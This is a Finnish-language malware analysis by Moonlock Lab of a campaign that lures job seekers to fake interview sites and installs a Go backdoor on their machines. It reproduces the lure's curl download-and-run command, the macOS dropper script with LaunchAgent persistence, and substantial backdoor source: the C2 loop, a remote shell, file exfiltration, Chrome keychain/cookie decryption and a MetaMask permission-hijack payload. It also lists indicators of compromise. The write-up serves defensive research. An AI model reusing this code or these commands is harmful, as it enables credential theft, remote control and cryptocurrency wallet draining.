
Kirjoittanut MacPawin Moonlock Lab -tiimi
Käynnissä oleva kyberkampanja kohdistaa työnhakijoihin väärennetyillä haastattelusivustoilla ja huijaa heidät lataamaan paljaat mutta erittäin tehokkaat takaovet. Toisin kuin monimutkaiset haittaohjelmat, jotka käyttävät hämärtämistekniikoita, tämä hyökkäys perustuu yksinkertaisuuteen – se toimittaa lähdekoodia Go-binaarin rinnalla, mikä tekee siitä monialustaisen. Vielä huolestuttavampi on sen yritys kaapata kryptovaluuttaan liittyvän Chrome-laajennuksen MetaMask käyttöoikeudet, mikä saattaa tyhjentää uhrien lompakkot.
Kampanja jatkuu aktiivisena, ja uusia verkkotunnuksia ilmestyy säännöllisesti houkuttelemaan lisää uhreja. Monet yksittäiset tietoturvatutkijat ja -yritykset, mm
Moonlock Lab -tiimi aloitti juuri tämän haittaohjelman jäljittämisen 9. lokakuuta 2024, kun takaoven ensimmäiset komponentit alkoivat ilmestyä. Takaovi on eräänlainen haittaohjelmisto, joka piiloutuu järjestelmään ja sallii uhkatekijöiden suorittaa komentoja etänä, ikään kuin he olisivat työaseman laillisia omistajia. Nämä hyökkäykset käyttävät tyypillisesti niin kutsuttuja C2-palvelimia (Command and Control) komentojen lähettämiseen ja suorittamiseen.
Tämän hyökkäyksen erottaa muista, joita tavallisesti havaitsemme, on se, että se koostuu useista vaiheista ja on suunniteltu kestämään uhrin koneella yhden laukauksen tietojen varastamisen sijaan. Täydellinen katsaus hyökkäysvaiheisiin on nähtävissä alla olevassa kuvassa.
Ensimmäisen hyvin jäsennellyn säikeen X:stä, jonka huomasimme, lähetti
Yleensä alkaa "rekrytoijalla" tunnetusta yrityksestä, esim. Kraken, MEXC, Gemini, Meta. Palkka-alueet + viestityyli ovat houkuttelevia – myös niille, jotka eivät aktiivisesti etsi työtä. Lähinnä Linkedinin kautta. Myös freelance-sivustot, työpaikat, tg, discord jne.
Tämän haittaohjelman uusimman version hankkimiseksi oli välttämätöntä seurata uusia verkkotunnuksia, joissa on väärennettyjä haastattelusivustoja. Tätä tarkoitusta varten tiimimme luotti kahteen muuttumattomaan indikaattoriin, jotka nämä verkkotunnukset jakavat:
Vaikka osa tämän kampanjan aikana käytetyistä verkkotunnuksista suljetaan, uusia ilmestyy edelleen, ja uusin on edelleen verkossa: smarthiretop[.]online . Tiimimme on havainnut yli 20 aktiivista verkkotunnusta marraskuun 2024 jälkeen.
Tutkittuamme verkkotunnuksia havaitsimme, että joillakin niistä on sama IP-osoite. Tämä tapahtuu usein, koska hyökkääjät käyttävät luodinkestäviä isännöintipalveluntarjoajia, jotka sallivat useiden verkkotunnusten isännöimisen samalla palvelimella. Lisäksi useiden verkkotunnusten isännöiminen yhdellä IP-osoitteella mahdollistaa uhkatekijöiden vaihtamisen verkkotunnuksiin muuttamatta taustainfrastruktuuria.
Tätä haitallista infrastruktuuria isännöidään useissa maailmanlaajuisesti levitetyissä palveluissa. Kuten alla olevasta kartasta näkyy, useimmat palvelimet sijaitsevat Yhdysvalloissa, ja osa on levinnyt muihin maihin.
Haitallinen komento, jonka haastateltavia pyydettiin suorittamaan, piiloutuu ikkunaan, joka tulee näkyviin, kun he vierailevat haitallisella verkkosivustolla. Se on JS-koodi, joka on tässä tapauksessa niputettu main.39e5a388.js -tiedostoon. Tällaiset tiedostonimet luodaan tyypillisesti hajautus- tai sormenjälkimekanismilla verkkosovelluksen rakennusprosessin aikana (viite:
Yhdellä sivulla on tämä upotettu JS-tiedosto, jossa on seuraava SHA256-tiiviste:
Voisimme helposti havaita, että rakennetun JS-tiedoston sisällä ovat samat komennot, jotka uhreja pyydettiin antamaan:
Ymmärrettyään kuinka uhkatekijä levittää haittaohjelmaa, päätavoitteemme oli löytää nopeasti näytteitä ja kehittää allekirjoituksia käyttäjillemme. Ensimmäinen suora maininta "tuotantovalmiista" näytteistä ja niiden SHA-256-tiivisteistä, jotka löysimme, oli tässä säikeessä:
Se sisälsi viisi tiivistettä, nimittäin:
Tämän lisäksi tiimimme alkoi hakea haitallisia skriptejä ikään kuin meitä olisi huijattu lataamaan niitä, uhrien tapaan. Yhdessä vaiheessa väärennetyillä haastattelusivustoilla käytettiin seuraavaa komentoa:
Komento kuvakaappauksesta (älä suorita!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Se suorittaa alla luetellut toiminnot:
Väliaikaiseen kansioon tallennetun ffmpeg.sh-tiedoston sisältä voimme löytää tämän hyökkäyksen aloituspisteen, joka sisältää:
Kuten voimme nähdä alla olevasta skriptistä, se on suunniteltu erityisesti macOS:lle, sekä Intel- että ARM-muunnelmille. Kun se määrittää nykyisen prosessorimallin, se lataa ZIP-arkiston, jossa on useita tiedostoja. Tarkempi katsaus tästä käsikirjoituksesta löytyy osoitteesta
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Viite:
Arkiston sisältö (Intel CPU:n versio), jonka komentosarja noutaa, on lueteltu alla:
Kaikki arkiston tiedostot voidaan luokitella muutamaan ryhmään:
Mielenkiintoista on, että arkisto on kooltaan noin 75 megatavua, pääasiassa siksi, että se sisältää monia laillisia Go-kirjastoja ja binaareja.
Yksi tiedostoista, joita havaitsimme käytetyn pitkään tässä hyökkäyksessä, on Mach-O-universaalibinaari, jossa on kaksi arkkitehtuuria, nimeltään CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f439522757e ).
Se naamioituu Google Chrome -kuvakkeeksi, mikä saa tavalliset käyttäjät uskomaan tiedoston olevan aito ja estää heitä poistamasta sitä.
Koodi on kirjoitettu Swiftillä, eikä voimakkaita hämärtymistekniikoita havaittu, mikä tekee suoritusvirran ymmärtämisestä suhteellisen helppoa.
Se näyttää ikkunan, joka näyttää järjestelmän ilmoitusikkunalta ja pyytää käyttäjää myöntämään mikrofonin käyttöoikeuden, oletettavasti pyydetty Google Chrome -sovellukselta.
Vaikka käyttäjä valitsee "Muistuta minua myöhemmin", salasanakehoteikkuna tulee silti näkyviin.
Sovellus väittää vaativansa pääsyn mikrofoniin; se on kuitenkin hiekkalaatikko, eikä mikrofonille ole tehty varsinaista lupapyyntöä.
Kun käyttäjä on syöttänyt salasanansa, haittaohjelma pyytää sen isäntäkoneen ulkoista IP-osoitetta, jolla se on käynnissä. Sitten se lähettää salasana.txt-tiedoston Dropbox-kansioon, joka on nimetty käyttäjän ulkoisen IP-osoitteen mukaan.
Alla olevasta kuvakaappauksesta löytyy Dropbox API -URL-osoite.
Verkkoliikennettä tutkiessamme saatoimme nähdä yrityksiä hakea uhrin julkinen IP-osoite.
Kun IP-osoite on vastaanotettu, voimme nähdä pyyntöjä Dropboxille IP-salasanaparin lataamiseksi kovakoodattujen valtuustietojen avulla.
Tiimimme ilmoitti tästä tapauksesta Dropboxille sekä tämän loukkaavan kampanjan suorittamiseen käytetyt tunnistetiedot.
On tärkeää huomata, että ffmpeg.sh-komentosarjan lataama ZIP-tiedosto sisältää takaoven selkeän tekstin lähdekoodin, mikä tarkoittaa, että sitä ei ole esikäännetty eikä obfuskoitu. Se nopeutti merkittävästi analyysiä, mutta herätti myös kysymyksiä oikeasta attribuutiosta. Sanomattakin on selvää, että Pohjois-Korean APT-ryhmät ovat tyypillisesti paljon kehittyneempiä.
Toinen epätavallinen strategia on Go-binaarin ( /bin/go ) sisällyttäminen arkistoon sen sijaan, että yksinkertaisesti käännetään koko koodi. Koska Go ei kuitenkaan ole oletussovellus monissa käyttöjärjestelmissä, uhkatoimijat ovat saattaneet sisällyttää sen paremman yhteensopivuuden vuoksi. Tämä on järkevää, koska haittaohjelma on monialustainen ja kohdistuu samanaikaisesti macOS:ään, Linuxiin ja Windowsiin.
Suhteita kuvaava kaavio ja kunkin huomionarvoisen näytteen yksityiskohtainen kuvaus löytyy täältä:
Arkiston sisällä on skripti nimeltä vcamupdate.sh . Se toimii heti pakkauksen purkamisen jälkeen ja suorittaa yksinkertaisesti /bin/go-tiedoston (joka on mukana ZIP-paketissa) samalla kun se välittää polun Golangin pääsovellukseen (tässä tapauksessa app.go ).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Syöttösovellus ( app.go ) vastaa yksilöllisen UUID-tunnuksen luomisesta käyttäjän työasemalle, C2-URL-osoitteen alustamisesta ja pääsilmukan käynnistämisestä. Koodissa näemme yksirivisiä kommentteja, tukiviestien tulosteita ja joitain kommentteja. Se sisältää myös todennäköisesti testaukseen tarkoitettuja URL-osoitteita, jotka kehittäjät ovat unohtaneet poistaa. Huolimatta siitä, että C2-IP-osoite oli erilainen pääkampanjassa, vuoden 2024 näytteet jakoivat samat toiminnot ja kohdistuivat samaan dataan.
Myöhemmin kutsu core.StartMainLoop(id, url) vie meidät core/ -kansioon loop.go- ja work.go- tiedostoilla. Loop.go -tiedosto on pääasiassa vastuussa komentojen vastaanottamisesta ja suorittamisesta C2:lta, arkaluontoisia tietoja keräävien alimoduulien kutsumisesta ja sen lataamisesta etäpalvelimelle. Se sisältää monia toimintoja, joista 8 haluamme korostaa ja tutkia tarkemmin.
Tämä toiminto käyttää config-alimoduulia käytettävissä olevien komentojen alustamiseen ja saapuvien komentojen kuuntelemiseen. Alta löydät taulukon, jossa on kaikki komennot ja niitä vastaavat koodit. Tarkempi analyysi takaoven toimivuudesta löytyy osoitteesta
Komennon nimi | Koodattu nimi | Kuvaus |
---|---|---|
COMMAND_INFO | qwer | Hanki käyttäjätunnus, isäntä, käyttöjärjestelmä, arkki |
COMMAND_LATAA | asdf | Lataa ja pura mielivaltainen arkisto C2:sta isäntään |
COMMAND_DOWNLOAD | zxcv | Lataa varastetut tiedot C2:een |
COMMAND_OSSHELL | vbcx | Alusta interaktiivinen kuori isännän ja C2:n välillä (suorita mielivaltaisia etäkomentoja) |
COMMAND_AUTO | r4ys | Kerää automaattisesti arkaluontoisia tietoja |
COMMAND_WAIT | ghdj | Odota X sekuntia |
COMMAND_EXIT | dghh | Poistu pääsilmukasta (set alive=false) |
C2:lta saadun komennon perusteella kutsutaan sopiva toiminto.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Tämä toiminto kerää järjestelmän perustietoja, kuten käyttäjänimen, isäntänimen, käyttöjärjestelmän version ja arkkitehtuurin. On syytä huomata, että useimmat suositut tietovarastot keräävät paljon enemmän järjestelmätietoja kuin tämä haittaohjelma.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
Tässä tapauksessa lataus edustaa prosessia, jossa arkistotiedosto lähetetään C2:sta tartunnan saaneelle isännälle, mitä seuraa sen purkaminen. Se myös osoittaa, onnistuiko purku.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Tämä toiminto on päinvastainen kuin edellinen. Se suorittaa hakemiston pakkaamisen tar.gz-arkistoon etukäteen kerätyillä tiedostoilla.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Tämä on toiminto, joka todellisella takaovella on oltava. Se odottaa mielivaltaista komentoa ja yrittää suorittaa sen. Komennossa voi olla komentoriviargumentteja, ja tulos kirjataan suoraan C2:een.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Tämä on varastamisen sisääntulopiste. Tämä toiminto sisältää useita kutsuja auto/kansiossa oleviin tiedostoihin. Niihin kuuluvat seuraavien tietojen sieppaajat, prosessorit tai muokkaajat:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Aputoiminto, jolla takaovi lähetetään lepotilaan odottamaan lisäkomentoja.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Tämä on aputoiminto, jota käytetään poistumaan C2:n kanssa käytävän tiedonsiirron pääsilmukasta.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Auto/ -kansio sisältää joukon Go-sovelluksia:
basic.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Analyysimme päätteeksi meidän on korostettava tärkeimpiä kohtia:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080